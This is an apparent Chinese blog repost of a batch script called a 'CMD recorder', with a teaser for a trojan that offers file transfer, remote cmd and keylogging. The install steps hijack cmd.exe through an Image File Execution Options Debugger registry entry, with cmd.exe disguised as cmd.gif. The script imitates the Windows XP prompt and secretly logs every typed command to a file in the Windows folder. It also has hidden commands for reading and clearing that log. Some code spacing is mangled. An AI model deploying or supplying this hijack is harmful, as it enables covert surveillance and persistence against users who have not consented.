CMD记录器改良版

关注

原创最新推荐文章于 2024-08-10 08:36:23 发布 6.8k 阅读 AI 写同款· GEO 优化 ›

【网络编程】Trojan源码文件传输+远程cmd+键盘记录 Trojan可以实现三个功能，分别为文件传输，远程执行cmd，键盘记录。其中键盘记录功能没有利用hook函数，有较强的隐蔽性。现在给出源码： server： // server.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include #include #include #include #inc 阅读详情

文章作者：a11yesno
信息来源：邪恶八进制信息安全团队（ www.eviloctal.com）

改的不是很良勉强可用
或许应该弄多一点容错代码体力活啊。。

安装把代码保存为cmd.bat 放置system32下把cmd.exe copy为cmd.gif
注册表添加
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/cmd.exe
字串 Debugger
字串内容 cmd.gif /c cmd.bat

@echo off
title %ComSpec%
rem CMD 记录器改良版
rem 原作者 superjj(可能是马甲！)
rem 原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
rem 由我allyesno 改良(是本人不是马甲！)
rem 容错代码就不改良了，一些细节部分自己添加！
setlocal EnableDelayedExpansion
echo Microsoft Windows XP [版本 5.1 . 2600 ]
echo ( C ) 版权所有 1985 - 2001 Microsoft Corp .
echo .
for / l %%i in ( 0 , 0 , 0 ) do (
   set / p strCMD = % cd %^ >
if " !strcmd! " == " whoami " echo allyesno& set strcmd =
if " !strcmd! " == " log " type %windir% history . txt& set strcmd =
if " !strcmd! " == " logclear " del %windir% history . txt& set strcmd =
   for / f " delims= " %%i in ( " !strCMD! " ) do echo %%i >> %windir% history . txt
  !strCMD!
   echo .
                         )